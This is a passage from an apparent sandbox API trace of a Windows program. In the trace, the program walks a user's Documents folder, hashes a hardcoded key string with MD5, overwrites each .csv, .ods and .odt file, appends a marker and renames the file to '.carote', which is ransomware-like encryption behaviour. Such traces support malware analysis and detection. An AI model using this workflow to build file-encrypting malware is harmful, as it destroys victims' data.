(HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\") returned="WTT 8oXmb8q1blmN0eH\\" [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.806] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\") returned="yc2hVUR2 YKnU\\" [0113.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ec028 [0113.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.806] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\") returned="BXteOBXIuKySqXgo0\\" [0113.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ec028 | out: hHeap=0x5010000) returned 1 [0113.806] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0113.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.806] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0113.806] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.806] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.806] PathFindFileNameW (pszPath="") returned="" [0113.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.806] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6399ee0, ftCreationTime.dwHighDateTime=0x1d4d1c7, ftLastAccessTime.dwLowDateTime=0xc40ed4a0, ftLastAccessTime.dwHighDateTime=0x1d4d3b3, ftLastWriteTime.dwLowDateTime=0xc40ed4a0, ftLastWriteTime.dwHighDateTime=0x1d4d3b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.808] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6399ee0, ftCreationTime.dwHighDateTime=0x1d4d1c7, ftLastAccessTime.dwLowDateTime=0xc40ed4a0, ftLastAccessTime.dwHighDateTime=0x1d4d3b3, ftLastWriteTime.dwLowDateTime=0xc40ed4a0, ftLastWriteTime.dwHighDateTime=0x1d4d3b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.808] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd5f4250, ftCreationTime.dwHighDateTime=0x1d4d1cb, ftLastAccessTime.dwLowDateTime=0xb5b9a490, ftLastAccessTime.dwHighDateTime=0x1d4c58d, ftLastWriteTime.dwLowDateTime=0xb5b9a490, ftLastWriteTime.dwHighDateTime=0x1d4c58d, nFileSizeHigh=0x0, nFileSizeLow=0x1646a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9IW1b3FoUqG.csv", cAlternateFileName="9IW1B3~1.CSV")) returned 1 [0113.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11e) returned 0x79f8730 [0113.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.808] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\9IW1b3FoUqG.csv") returned=".csv" [0113.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\9IW1b3FoUqG.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\wtt 8oxmb8q1blmn0eh\\9iw1b3fouqg.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.809] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=91242) returned 1 [0113.809] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.811] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.811] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.812] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.812] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.812] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.812] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x1646a, lpOverlapped=0x0) returned 1 [0113.813] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.813] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.813] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.813] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.813] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.814] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.814] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.814] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.814] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.814] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.814] GetLastError () returned 0x0 [0113.814] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.814] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.814] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.814] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x16470) returned 0x7b182e0 [0113.815] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.815] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.815] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x16465, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x16465, lpOverlapped=0x0) returned 1 [0113.815] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.815] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1646a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.815] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.815] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.815] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.816] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.816] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.816] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.816] CloseHandle (hObject=0x61c) returned 1 [0113.817] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a222d0 [0113.817] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8f0) returned 0x7b14908 [0113.817] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a222d0 | out: hHeap=0x5010000) returned 1 [0113.817] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\9IW1b3FoUqG.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\wtt 8oxmb8q1blmn0eh\\9iw1b3fouqg.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\9IW1b3FoUqG.csv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\wtt 8oxmb8q1blmn0eh\\9iw1b3fouqg.csv.carote")) returned 1 [0113.818] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.818] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.819] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.819] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9dda00, ftCreationTime.dwHighDateTime=0x1d4cc40, ftLastAccessTime.dwLowDateTime=0x42973180, ftLastAccessTime.dwHighDateTime=0x1d4d046, ftLastWriteTime.dwLowDateTime=0x42973180, ftLastWriteTime.dwHighDateTime=0x1d4d046, nFileSizeHigh=0x0, nFileSizeLow=0x18c0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cwSafQl25.ods", cAlternateFileName="CWSAFQ~1.ODS")) returned 1 [0113.819] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.819] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11e) returned 0x79f8730 [0113.819] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.819] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\cwSafQl25.ods") returned=".ods" [0113.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\cwSafQl25.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\wtt 8oxmb8q1blmn0eh\\cwsafql25.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.819] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=101391) returned 1 [0113.819] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.821] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18be9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.821] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.822] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.822] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.822] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.823] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x18c0f, lpOverlapped=0x0) returned 1 [0113.823] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.823] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.823] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.823] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.823] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.824] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.824] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.824] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.824] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.824] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.824] GetLastError () returned 0x0 [0113.824] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.824] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.824] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.824] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x18c10) returned 0x7b182e0 [0113.825] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.825] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.825] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x18c0a, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x18c0a, lpOverlapped=0x0) returned 1 [0113.825] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.825] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18c0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.826] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.826] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.826] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.826] CloseHandle (hObject=0x61c) returned 1 [0113.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a222d0 [0113.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8f0) returned 0x7b14908 [0113.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a222d0 | out: hHeap=0x5010000) returned 1 [0113.827] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\cwSafQl25.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\wtt 8oxmb8q1blmn0eh\\cwsafql25.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\cwSafQl25.ods.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\wtt 8oxmb8q1blmn0eh\\cwsafql25.ods.carote")) returned 1 [0113.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.828] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.829] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.829] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7f1740, ftCreationTime.dwHighDateTime=0x1d4d296, ftLastAccessTime.dwLowDateTime=0x1692d250, ftLastAccessTime.dwHighDateTime=0x1d4c840, ftLastWriteTime.dwLowDateTime=0x1692d250, ftLastWriteTime.dwHighDateTime=0x1d4c840, nFileSizeHigh=0x0, nFileSizeLow=0x18e38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tegF3gXtk.odt", cAlternateFileName="TEGF3G~1.ODT")) returned 1 [0113.829] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0113.829] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11e) returned 0x79f8730 [0113.829] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0113.829] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\tegF3gXtk.odt") returned=".odt" [0113.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\WTT 8oXmb8q1blmN0eH\\tegF3gXtk.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\wtt 8oxmb8q1blmn0eh\\tegf3gxtk.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.829] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=101944) returned 1 [0113.829] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.831] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18e12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.831] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.832] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.832] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.832] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.832] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: 